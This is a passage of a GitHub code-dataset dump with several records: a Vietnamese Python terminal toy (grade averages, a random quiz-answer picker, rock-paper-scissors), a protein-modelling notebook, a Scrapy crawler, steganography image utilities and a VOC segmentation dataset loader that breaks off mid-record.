kkkkkkkkkk = float(input('Nhập điểm môn thứ 10 :'))\n write(f)\n re = (k+kk+kkk+kkkk+kkkkk+kkkkkk+kkkkkkk+kkkkkkkk+kkkkkkkkk+kkkkkkkkkk)/10\n load()\n write('Điểm trung bình là %.2f:'%re)\n write(f)\n if (re < 5):\n print(\"Học lực yếu\")\n elif(re >=5 and re < 7):\n print(\"Học lực trung bình\")\n elif(re >=7 and re < 9):\n print(\"Học lực khá\")\n elif(re >=9):\n print(\"Học lực giỏi\")\n yn()\ndef k11():\n os.system('clear')\n write(banner)\n print(f)\n k = float(input('Nhập Điểm môn thứ 1 : '))\n write(f)\n kk = float(input('Nhập điểm môn thứ 2 : '))\n write(f)\n kkk = float(input('Nhập điểm môn thứ 3 :'))\n write(f)\n kkkk = float(input('Nhập điểm môn thứ 4 :'))\n write(f)\n kkkkk = float(input('Nhập điểm môn thứ 5 :'))\n write(f)\n kkkkkk = float(input('Nhập điểm môn thứ 6 :'))\n write(f)\n kkkkkkk = float(input('Nhập điểm môn thứ 7 :'))\n write(f)\n kkkkkkkk = float(input('Nhập điểm môn thứ 8 :'))\n write(f)\n kkkkkkkkk = float(input('Nhập điểm môn thứ 9 :'))\n write(f)\n kkkkkkkkkk = float(input('Nhập điểm môn thứ 10 :'))\n write(f)\n kkkkkkkkkkk = float(input('Nhập điểm môn thứ 11 :'))\n write(f)\n re = (k+kk+kkk+kkkk+kkkkk+kkkkkk+kkkkkkk+kkkkkkkk+kkkkkkkkk+kkkkkkkkkk+kkkkkkkkkkk)/11\n load()\n write('Điểm trung bình là %.2f:'%re)\n write(f)\n if (re < 5):\n print(\"Học lực yếu\")\n elif(re >=5 and re < 7):\n print(\"Học lực trung bình\")\n elif(re >=7 and re < 9):\n print(\"Học lực khá\")\n elif(re >=9):\n print(\"Học lực giỏi\")\n yn()\ndef k12():\n os.system('clear')\n write(banner)\n print(f)\n k = float(input('Nhập Điểm môn thứ 1 : '))\n write(f)\n kk = float(input('Nhập điểm môn thứ 2 : '))\n write(f)\n kkk = float(input('Nhập điểm môn thứ 3 :'))\n write(f)\n kkkk = float(input('Nhập điểm môn thứ 4 :'))\n write(f)\n kkkkk = float(input('Nhập điểm môn thứ 5 :'))\n write(f)\n kkkkkk = float(input('Nhập điểm môn thứ 6 :'))\n write(f)\n kkkkkkk = float(input('Nhập điểm môn thứ 7 :'))\n write(f)\n kkkkkkkk = float(input('Nhập điểm môn thứ 8 :'))\n write(f)\n kkkkkkkkk = float(input('Nhập điểm môn thứ 9 :'))\n write(f)\n kkkkkkkkkk = float(input('Nhập điểm môn thứ 10 :'))\n write(f)\n kkkkkkkkkkk = float(input('Nhập điểm môn thứ 11 :'))\n write(f)\n kkkkkkkkkkkk = float(input('Nhập điểm môn thứ 12 :'))\n write(f)\n re = (k+kk+kkk+kkkk+kkkkk+kkkkkk+kkkkkkk+kkkkkkkk+kkkkkkkkk+kkkkkkkkkk+kkkkkkkkkkk+kkkkkkkkkkkk)/12\n load()\n write('Điểm trung bình là %.2f:'%re)\n write(f)\n if (re < 5):\n print(\"Học lực yếu\")\n elif(re >=5 and re < 7):\n print(\"Học lực trung bình\")\n elif(re >=7 and re < 9):\n print(\"Học lực khá\")\n elif(re >=9):\n print(\"Học lực giỏi\")\n yn()\ndef k13():\n os.system('clear')\n write(banner)\n print(f)\n k = float(input('Nhập Điểm môn thứ 1 : '))\n write(f)\n kk = float(input('Nhập điểm môn thứ 2 : '))\n write(f)\n kkk = float(input('Nhập điểm môn thứ 3 :'))\n write(f)\n kkkk = float(input('Nhập điểm môn thứ 4 :'))\n write(f)\n kkkkk = float(input('Nhập điểm môn thứ 5 :'))\n write(f)\n kkkkkk = float(input('Nhập điểm môn thứ 6 :'))\n write(f)\n kkkkkkk = float(input('Nhập điểm môn thứ 7 :'))\n write(f)\n kkkkkkkk = float(input('Nhập điểm môn thứ 8 :'))\n write(f)\n kkkkkkkkk = float(input('Nhập điểm môn thứ 9 :'))\n write(f)\n kkkkkkkkkk = float(input('Nhập điểm môn thứ 10 :'))\n write(f)\n kkkkkkkkkkk = float(input('Nhập điểm môn thứ 11 :'))\n write(f)\n kkkkkkkkkkkk = float(input('Nhập điểm môn thứ 12 :'))\n write(f)\n kkkkkkkkkkkkk = float(input('Nhập điểm môn thứ 13 :'))\n write(f)\n re = (k+kk+kkk+kkkk+kkkkk+kkkkkk+kkkkkkk+kkkkkkkk+kkkkkkkkk+kkkkkkkkkk+kkkkkkkkkkk+kkkkkkkkkkkk+kkkkkkkkkkkkk)/13\n load()\n write('Điểm trung bình là %.2f:'%re)\n write(f)\n if (re < 5):\n print(\"Học lực yếu\")\n elif(re >=5 and re < 7):\n print(\"Học lực trung bình\")\n elif(re >=7 and re < 9):\n print(\"Học lực khá\")\n elif(re >=9):\n print(\"Học lực giỏi\")\n yn()\ndef k14():\n os.system('clear')\n write(banner)\n print(\"tool random đáp án trắc nghiệm\")\n write('\\033[1;91m[!]Lưu ý: tool chỉ mang tính chất giải trí, không phục vụ mục đích học tập')\n write('\\033[1;97m[•]Mong các bạn đạt điểm cao trong bài ktra nhaaa :3')\n write(f) \n suits = [\"A\", \"B\", \"C\", \"D\"]\n dem=0\n keep_going = True \n while keep_going: \n j=datetime.datetime.now().strftime(\"%X\")\n dem=dem+1\n my_suit = random.choice(suits)\n load()\n time.sleep(0.5)\n write(f'\\x1b[1;93m[{dem}] >\\x1b[1;92m{j} >\\x1b[1;96m\"Đáp án là\" >\\x1b[1;94m'+ my_suit)\n answer = input(\"[•]Muốn tiếp tục random thì bấm Enter, nếu không thì bấm quit: \") \n keep_going = (answer == \"\")\n if answer == \"quit\" or answer == \"Quit\":\n os.system('clear')\n os.sys.exit()\ndef k15():\n os.system('clear')\n print(banner) \n print(f) \n write('[!]Tool sẽ tính số cách xảy ra với trường hợp bạn đưa ra')\n a = float(input('[•]Nhập số đơn vị có trong bài(vd: người, quả...): '))\n if a == '3':\n print('tool chưa xong đâu :(( thông cảm nha ')\ndef k16():\n os.system('clear')\n print(banner) \n \ndef k20():\n os.system('clear') \n write(banner)\n print(f) \n write('trò chơi này tên là oẳn tù tì (búa bao kéo)')\n\n choices = [\"búa\", \"lá\", \"kéo\"] \n write('búa thắng kéo. kéo thắng lá. lá thắng búa.')\n player = input(\"bạn chọn búa, lá hay kéo (or quit)? \") \n while player != \"quit\": \n player = player.lower() \n computer = random.choice(choices) \n print(\"Bạn chọn \" +player+ \", và tôi chọn \" +computer+ \".\") \n if player == computer: \n print(\"hòa rồi!\") \n elif player == \"búa\": \n if computer == \"kéo\":\n print(\"bạn thắng rồi, chúc mừng <3!\") \n else: \n print(\"tôi win rồi, bạn thua!\")\n elif player == \"lá\": \n if computer == \"búa\":\n print(\"bạn thắng rồi!\") \n else: \n print(\"tôi thắng rồi, bạn thua!\") \n elif player == \"kéo\": \n if computer == \"lá\": \n print(\"bạn thắng rồi!\") \n else: \n print(\"tôi thắng rồi, bạn thua!\") \n else: \n print(\"tôi nghĩ có j đó sai rồi, báo cho chủ nhân tôi với nhé \")\n print() \n player = input(\"bạn muốn chơi với tôi tiếp không (or quit)? \") \ndef k21():\n os.system('clear')\n print(banner)\n write(f)\n write('LUẬT: có 2 ô(ô 1 và ô 2) và phải chọn đúng ô với máy chọn')\n o = ['1 ',' 2']\n keep_going = True \n while keep_going: \n my_o = random.choice(o)\n write('tập tầm vông....')\n a = int(input('[?]Chọn ô đúng?: '))\n time.sleep(3)\n if a == my_o:\n write('[√]Bạn thắng rồi')\n else:\n write('[!]Thua r :(((')\n q = input('Bạn muốn chơi lại không?: ')\n if q == 'n' or q == 'N':\n os.system.exit()\n yn()\ndef k30():\n key1()\n os.system('clear')\n print(banner) \n write('Happy Birthday: ')\n write('[√]Mình không có gì nhiều...chỉ có cái tool này để chúc sinh nhật bạn ')\n yn()\ndef k31():\n os.system('clear')\n print(banner) \n print(f)\n write(banhang) \n write('Đồ của bạn đây, chúc ngon miệng :))')\n a = input('bạn muốn ăn nhẹ hay ăn kiểu chết đói(nhẹ/đói): ')\n if a == 'nhẹ' or a == 'Nhẹ':\n write('nhăm nhăm :)))')\n elif a == 'Đói' or a == 'đói':\n write('nhoàm nhoàm, ăn lòi l')\n else:\n print(d+\"[!]Nhập sai\")\n os.system.exit()\n yn()\ndef k32():\n os.system('clear')\n print(banner) \n print(f)\n write(banhang) \n write('Đồ của bạn đây, chúc ngon miệng :))')\n yn()\ndef k33():\n os.system('clear')\n print(banner) \n print(f)\n write(banhang) \n write('Đồ của bạn đây, chúc ngon miệng :))')\n a = input('bạn muốn ăn nhẹ hay ăn kiểu chết đói(nhẹ/đói) :)')\n if a == 'nhẹ' or a == 'Nhẹ':\n write('nhăm nhăm :)))')\n elif a == 'Đói' or a == 'đói':\n write('nhoàm nhoàm, ăn lòi l')\n else:\n print(d+\"[!]Nhập sai\")\n os.system.exit()\n yn()\ndef k40():\n key()\n os.system('clear')\n write('[!]Lưu ý: tool chỉ mang tính chất giải trí và không có mục đích xúc phải 1 cá nhân hay 1 tổ chức nào đó.')\n phat = \"\"\"\n \\033[1;93m _`\t\t\t\n _ooOoo_\t\t\t\t\n o8888888o\t\t\t\t\n 88\" . \"88\t\t\t\t\n (| -_- |)\t\t\t\t\n O\\ = /O\t\t\t\t\n ____/`---'\\____\t\t\t\t\n .' \\\\| |// `.\t\t\t\n / \\\\||| : |||// \\\t\t\t\n / _||||| -:- |||||_ \\\t\t\t\n | | \\\\\\ - /'| | |\t\t\t\n | \\_| `\\`---'// |_/ |\t\t\t\n \\ .-\\__ `-. -'__/-. /\t\t\t\n ___`. .' /--.--\\ `. .'___\t\t\t\n .\"\" '< `.___\\_<|>_/___.' _> \\\"\".\t\t\t\n | | : `- \\`. ;`. _/; .'/ / .' ; |\t\t\n \\ \\ `-. \\_\\_`. _.'_/_/ -' _.' /\t\t\n=============`-.`___`-.__\\ \\___ /__.-'_.'_.-'=================\n `=--=-' \n\n\n\n _.-/`)\n // / / )\n .=// / / / )\n //`/ / / / /\n // / ` /\n || /\n \\\\ /\n )) .'\n // /\n /\"\"\"\n write(phat) \n uoc = input(\"\\033[1;97mHãy ước điều bạn muốn: \")\n write('mong bạn 1 ngày tốt lành <3')\n write('Và điều ước sẽ tới với bạn')\n yn()\n\n#################################################################\n# _`\t\t\t\t#\n# _ooOoo_\t\t\t\t#\n# o8888888o\t\t\t\t#\n# 88\" . \"88\t\t\t\t#\n# (| -_- |)\t\t\t\t#\n# O\\ = /O\t\t\t\t#\n# ____/`---'\\____\t\t\t\t#\n# .' \\\\| |// `.\t\t\t#\n# / \\\\||| : |||// \\\t\t\t#\n# / _||||| -:- |||||_ \\\t\t\t#\n# | | \\\\\\ - /'| | |\t\t\t#\n# | \\_| `\\`---'// |_/ |\t\t\t#\n# \\ .-\\__ `-. -'__/-. /\t\t\t#\n# ___`. .' /--.--\\ `. .'___\t\t\t#\n# .\"\" '< `.___\\_<|>_/___.' _> \\\"\".\t\t\t#\n# | | : `- \\`. ;`. _/; .'/ / .' ; |\t\t#\n# \\ \\ `-. \\_\\_`. _.'_/_/ -' _.' /\t\t#\n#=============`-.`___`-.__\\ \\___ /__.-'_.'_.-'=================#\n # `=--=-' \n \n#Làm ơn đấy, sửa lần 34 rồi :))\n#Tâm linh vaicut, ghép cái này vào chạy phát ok luôn :))\n # _.-/`)\n # // / / )\n # .=// / / / )\n # //`/ / / / /\n # // / ` /\n # || /\n # \\\\ /\n # )) .'\n # // /\n # /\nmain()\n", "repo_name": "Dung3563/dung789", "sub_path": "Math789.py", "file_name": "Math789.py", "file_ext": "py", "file_size_in_byte": 24762, "program_lang": "python", "lang": "vi", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sys.stdout.write", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 11, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 16, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 16, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 16, "usage_type": "call"}, {"api_name": "os.system", "line_number": 21, "usage_type": "call"}, {"api_name": "os.system.exit", "line_number": 26, "usage_type": "call"}, {"api_name": "os.system", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 31, "usage_type": "call"}, {"api_name": "os.system.exit", "line_number": 36, "usage_type": "call"}, {"api_name": "os.system", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 81, "usage_type": "call"}, {"api_name": "os.sys.exit", "line_number": 94, "usage_type": "call"}, {"api_name": "os.sys", "line_number": 94, "usage_type": "attribute"}, {"api_name": "os.sys.exit", "line_number": 97, "usage_type": "call"}, {"api_name": "os.sys", "line_number": 97, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 99, "usage_type": "call"}, {"api_name": "os.sys.exit", "line_number": 180, "usage_type": "call"}, {"api_name": "os.sys", "line_number": 180, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 185, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 195, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 196, "usage_type": "call"}, {"api_name": "os.system", "line_number": 203, "usage_type": "call"}, {"api_name": "os.system", "line_number": 225, "usage_type": "call"}, {"api_name": "os.system", "line_number": 248, "usage_type": "call"}, {"api_name": "os.system", "line_number": 273, "usage_type": "call"}, {"api_name": "os.system", "line_number": 300, "usage_type": "call"}, {"api_name": "os.system", "line_number": 329, "usage_type": "call"}, {"api_name": "os.system", "line_number": 360, "usage_type": "call"}, {"api_name": "os.system", "line_number": 393, "usage_type": "call"}, {"api_name": "os.system", "line_number": 428, "usage_type": "call"}, {"api_name": "os.system", "line_number": 465, "usage_type": "call"}, {"api_name": "os.system", "line_number": 504, "usage_type": "call"}, {"api_name": "os.system", "line_number": 545, "usage_type": "call"}, {"api_name": "os.system", "line_number": 588, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 598, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 598, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 600, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 602, "usage_type": "call"}, {"api_name": "os.system", "line_number": 607, "usage_type": "call"}, {"api_name": "os.sys.exit", "line_number": 608, "usage_type": "call"}, {"api_name": "os.sys", "line_number": 608, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 610, "usage_type": "call"}, {"api_name": "os.system", "line_number": 618, "usage_type": "call"}, {"api_name": "os.system", "line_number": 622, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 632, "usage_type": "call"}, {"api_name": "os.system", "line_number": 656, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 663, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 666, "usage_type": "call"}, {"api_name": "os.system.exit", "line_number": 673, "usage_type": "call"}, {"api_name": "os.system", "line_number": 673, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 677, "usage_type": "call"}, {"api_name": "os.system", "line_number": 683, "usage_type": "call"}, {"api_name": "os.system.exit", "line_number": 695, "usage_type": "call"}, {"api_name": "os.system", "line_number": 695, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 698, "usage_type": "call"}, {"api_name": "os.system", "line_number": 705, "usage_type": "call"}, {"api_name": "os.system.exit", "line_number": 717, "usage_type": "call"}, {"api_name": "os.system", "line_number": 717, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 721, "usage_type": "call"}]} +{"seq_id": "31630956348", "text": "\n# coding: utf-8\n\n# # Exploring Representations\n# \n# This tutorial shows how to use the various functions in ``representations.py`` to explore the data using three representations\n# \n# * 'C': Using the centroids of each module\n# * 'E': Using the endpoints of each module\n# * 'CE': Using the centroids and endpoints of each module\n# \n\n# In[2]:\n\n\nimport representations as rep\nimport protein as pt\nimport matplotlib.pyplot as plt\n\n\n# First we can plot a few simulatios in each representation.\n\n# In[3]:\n\n\nrep.plotsim(24, 6, 'C') # plot protein rp24, simulation 6 in representation 'C'\n\n\n# In[4]:\n\n\nrep.plotsim(324, 10, 'E')\n\n\n# In[5]:\n\n\nrep.plotsim(148, 3, 'CE')\n\n\n# To explore joints use ``jointinfo``.\n\n# In[6]:\n\n\njoint1 = pt.randjoint() # get a random joint\nprint(joint1)\n\n\n# In[7]:\n\n\nrep.jointinfo(joint1, 'CE')\n\n\n# This joint appears once in the data, in rp550. The mean of the these parameters and the 5th and 95th percentiles are shown over all 100 simulations of the protein.\n\n# In[8]:\n\n\nrep.jointinfo('NcapD14 D14_j2_D54 D54_j1_D79', 'C')\n\n\n# This joint appears in more proteins (we've used the 'C' representation this time). To get the combined data for a single parameter in the joint, use ``jointdistribution``.\n\n# In[9]:\n\n\ndist = rep.jointdistribution('NcapD14 D14_j2_D54 D54_j1_D79', 'Angle 1', 'C')\nh1 = plt.hist(dist)\nplt.xlabel('Angle 1 (radians)')\n\n\n# To see which joints can combine to this one use ``nextjoints`` or ``randnextjoint`` for a random choice.\n\n# In[11]:\n\n\npt.nextjoints('NcapD14 D14_j2_D54 D54_j1_D79')\n\n\n# In[12]:\n\n\npt.randnextjoint('NcapD14 D14_j2_D54 D54_j1_D79')\n\n", "repo_name": "lws221014/protein_modelling_mdm_2020", "sub_path": "exploring_representations.py", "file_name": "exploring_representations.py", "file_ext": "py", "file_size_in_byte": 1600, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "representations.plotsim", "line_number": 26, "usage_type": "call"}, {"api_name": "representations.plotsim", "line_number": 32, "usage_type": "call"}, {"api_name": "representations.plotsim", "line_number": 38, "usage_type": "call"}, {"api_name": "protein.randjoint", "line_number": 46, "usage_type": "call"}, {"api_name": "representations.jointinfo", "line_number": 53, "usage_type": "call"}, {"api_name": "representations.jointinfo", "line_number": 61, "usage_type": "call"}, {"api_name": "representations.jointdistribution", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "protein.nextjoints", "line_number": 79, "usage_type": "call"}, {"api_name": "protein.randnextjoint", "line_number": 85, "usage_type": "call"}]} +{"seq_id": "26466398505", "text": "import scrapy\nfrom crawler.items import desmogOrgan\nimport re\nimport json\nimport os\n\n\n\n\nprofile_json = open(\"C:\\Project\\citationNetwork\\crawler\\crawler\\profiles.json\", \"r\")\nprofiles = json.load(profile_json)\n\n\nclass desmogSpide(scrapy.Spider):\n name = \"desmog\"\n\n\n def start_requests(self):\n urls = []\n path = os.getcwd()\n cache = \"http://webcache.googleusercontent.com/search?q=cache:\"\n with open(\"crawler/test.txt\", \"r\") as file:\n for line in file:\n urls.append(line.strip())\n\n for url in urls:\n yield scrapy.Request(url=url, callback=self.parse)\n\n\n def parse(self, response):\n\n # get name of organization\n organization_name = response.css(\"title::text\").get().split(\" | \")[0]\n\n # list of key people\n key_people_list = list()\n\n # list of related organization\n related_org_list = list()\n\n\n # get raw contents of key people from the datasets\n # Place 1 to get name\n key_people_raws = response.xpath(\"//h2[contains(text(), 'People')]/following::li/strong[preceding::h2[1][contains(text(), 'People')]]\")\n for each_raw in key_people_raws:\n name = re.sub(r'<.*?>', '', each_raw.get())\n name = name.replace(\"\\xa0\", \" \").strip()\n key_people_list.append(name)\n\n\n # place 2 to get name\n key_people_tables = response.xpath(\"//h2[contains(text(), 'People')]/following::tbody[preceding::h2[1][contains(text(), 'People')]]\")\n for table in key_people_tables:\n name_lists = table.css(\"tr\")\n for i in range(1, len(name_lists)):\n name = name_lists[i].css(\"td\")[0]\n name = re.sub(r'<.*?>', '', name.get())\n name = name.replace(\"\\xa0\", \" \").strip()\n\n key_people_list.append(name)\n\n # get raw contents of related organizations from the datasets\n related_org_raws = response.xpath(\"//h2[contains(text(), 'Related')]/following::strong[preceding::h2[1][contains(text(), 'Related')]]\")\n for each_raw in related_org_raws:\n # get clean organization name\n name = re.sub(r'<.*?>', '', each_raw.get())\n name = name.replace(\"\\xa0\", \" \").strip()\n related_org_list.append(name)\n\n organization_url = response.url.replace(\"http://webcache.googleusercontent.com/search?q=cache:\", \"\")\n\n yield desmogOrgan(name=organization_name, url=organization_url, related_organs=related_org_list, key_people=key_people_list)\n\n\n#\n\n\n\n", "repo_name": "phantomlei3/desmogScrapy", "sub_path": "crawler/spiders/desmog.py", "file_name": "desmog.py", "file_ext": "py", "file_size_in_byte": 2549, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "json.load", "line_number": 11, "usage_type": "call"}, {"api_name": "scrapy.Spider", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 20, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 27, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 46, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 57, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 66, "usage_type": "call"}, {"api_name": "crawler.items.desmogOrgan", "line_number": 72, "usage_type": "call"}]} +{"seq_id": "29613198224", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\n\nimport logging.handlers\nimport os\nimport random\n\nimport cv2\nimport numpy as np\n\nfrom degree import read_image\n\nPYTHON_LOGGER = logging.getLogger(__name__)\nif not os.path.exists(\"log\"):\n os.mkdir(\"log\")\nHDLR = logging.handlers.TimedRotatingFileHandler(\"log/model_utils.log\",\n when=\"midnight\", backupCount=60)\nSTREAM_HDLR = logging.StreamHandler()\nFORMATTER = logging.Formatter(\"%(asctime)s %(filename)s [%(levelname)s] %(message)s\")\nHDLR.setFormatter(FORMATTER)\nSTREAM_HDLR.setFormatter(FORMATTER)\nPYTHON_LOGGER.addHandler(HDLR)\nPYTHON_LOGGER.addHandler(STREAM_HDLR)\nPYTHON_LOGGER.setLevel(logging.DEBUG)\n\n# Absolute path to the folder location of this python file\nFOLDER_ABSOLUTE_PATH = os.path.normpath(os.path.dirname(os.path.abspath(__file__)))\n\n\ndef normalize_batch(imgs):\n return (imgs - np.array([0.485, 0.456, 0.406])) / np.array([0.229, 0.224, 0.225])\n\n\ndef denormalize_batch(imgs, should_clip=True):\n imgs = (imgs * np.array([0.229, 0.224, 0.225])) + np.array([0.485, 0.456, 0.406])\n\n if should_clip:\n imgs = np.clip(imgs, 0, 1)\n return imgs\n\n\ndef image_preparation(image):\n image = np.array(cv2.resize(image, (224, 224)), dtype=np.float32)\n image /= 255\n return normalize_batch(np.array([image]))\n\n\ndef read_image_set(img_secret_path, img_cover_path):\n cover_image = read_image(img_cover_path)\n secret_image = read_image(img_secret_path)\n return image_preparation(cover_image), image_preparation(secret_image)\n\n\ndef get_img_batch(files_list, batch_size=32, should_normalise=True):\n batch_cover = []\n batch_secret = []\n\n for i in range(batch_size):\n img_secret_path = random.choice(files_list)\n img_cover_path = random.choice(files_list)\n\n img_secret = cv2.cvtColor(read_image(img_secret_path), cv2.COLOR_BGR2RGB)\n img_cover = cv2.cvtColor(read_image(img_cover_path), cv2.COLOR_BGR2RGB)\n\n img_secret = np.array(cv2.resize(img_secret, (224, 224)), dtype=np.float32)\n img_cover = np.array(cv2.resize(img_cover, (224, 224)), dtype=np.float32)\n\n img_secret /= 255.\n img_cover /= 255.\n\n batch_cover.append(img_cover)\n batch_secret.append(img_secret)\n\n batch_cover, batch_secret = np.array(batch_cover), np.array(batch_secret)\n\n if should_normalise:\n batch_cover = normalize_batch(batch_cover)\n batch_secret = normalize_batch(batch_secret)\n\n return batch_cover, batch_secret\n", "repo_name": "tpusmb/Tp3-crypto", "sub_path": "degree/deep_stegano/model_utils.py", "file_name": "model_utils.py", "file_ext": "py", "file_size_in_byte": 2555, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.handlers.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 15, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 17, "usage_type": "call"}, {"api_name": "logging.handlers.handlers.TimedRotatingFileHandler", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.handlers.handlers", "line_number": 18, "usage_type": "attribute"}, {"api_name": "logging.handlers", "line_number": 18, "usage_type": "name"}, {"api_name": "logging.handlers.StreamHandler", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 20, "usage_type": "name"}, {"api_name": "logging.handlers.Formatter", "line_number": 21, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 21, "usage_type": "name"}, {"api_name": "logging.handlers.DEBUG", "line_number": 26, "usage_type": "attribute"}, {"api_name": "logging.handlers", "line_number": 26, "usage_type": "name"}, {"api_name": "os.path.normpath", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 47, "usage_type": "call"}, {"api_name": "degree.read_image", "line_number": 51, "usage_type": "call"}, {"api_name": "degree.read_image", "line_number": 52, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 61, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 62, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 64, "usage_type": "call"}, {"api_name": "degree.read_image", "line_number": 64, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 64, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 65, "usage_type": "call"}, {"api_name": "degree.read_image", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 65, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 67, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 67, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 68, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 76, "usage_type": "call"}]} +{"seq_id": "8179350855", "text": "### make a VOC dataset for segmentation\n\nimport os\nimport torch\nimport numpy as np\nimport scipy.io as sio\nimport torch\nfrom PIL import Image\nfrom torch.utils import data\nimport torchvision.datasets as datasets\n\n\n\nroot = '/home/dayun/data/'\n\n# Download VOC dataset if not exists.\nif os.path.isdir(root+'TrainVal') == False: \n voc = datasets.VOCSegmentation(root, year='2011', download=True)\n\nvoc_root = root + 'TrainVal/VOCdevkit/VOC2011/'\n\n# Load image and mask path from txt file\ndef make_dataset(mode):\n assert mode in ['train', 'val']\n items = []\n if mode == 'train':\n img_path = os.path.join(voc_root, 'JPEGImages')\n mask_path = os.path.join(voc_root, 'SegmentationClass')\n data_list = [l.strip('\\n') for l in open(os.path.join(\n voc_root, 'ImageSets', 'Segmentation', 'train.txt')).readlines()]\n for it in data_list:\n item = (os.path.join(img_path, it + '.jpg'), os.path.join(mask_path, it + '.png'))\n items.append(item)\n elif mode == 'val':\n img_path = os.path.join(voc_root, 'JPEGImages')\n mask_path = os.path.join(voc_root, 'SegmentationClass')\n data_list = [l.strip('\\n') for l in open(os.path.join(\n voc_root, 'ImageSets', 'Segmentation', 'val.txt')).readlines()]\n for it in data_list:\n item = (os.path.join(img_path, it + '.jpg'), os.path.join(mask_path, it + '.png'))\n items.append(item)\n\n return items\n\n\n# Make mask image to label\ndef image_to_flat_annotation(file_name):\n img = Image.open(file_name)\n data = np.asarray( img, dtype=\"long\" )\n return data\n\n# define new dataset gives VOC (img, label) pair\nclass VOC(data.Dataset):\n def __init__(self, mode, transform=None, target_transform=None):\n self.imgs = make_dataset(mode)\n if len(self.imgs) == 0:\n raise RuntimeError('Found 0 images, please check the data set')\n self.mode = mode\n self.transform = transform\n self.target_transform = target_transform\n\n def __getitem__(self, index):\n img_path, mask_path = self.imgs[index]\n img = Image.open(img_path).convert('RGB')\n mask = image_to_flat_annotation(mask_path)\n\n if self.transform is not None:\n img = self.transform(img)\n if self.target_transform is not None:\n mask = self.target_transform(mask)\n return img, torch.squeeze(mask, 0)\n\n def __len__(self):\n return len(self.imgs)", "repo_name": "yoon720/deeplearning", "sub_path": "FCN/dataset.py", "file_name": "dataset.py", "file_ext": "py", "file_size_in_byte": 2469, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.path.isdir", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "torchvision.datasets.VOCSegmentation", "line_number": 18, 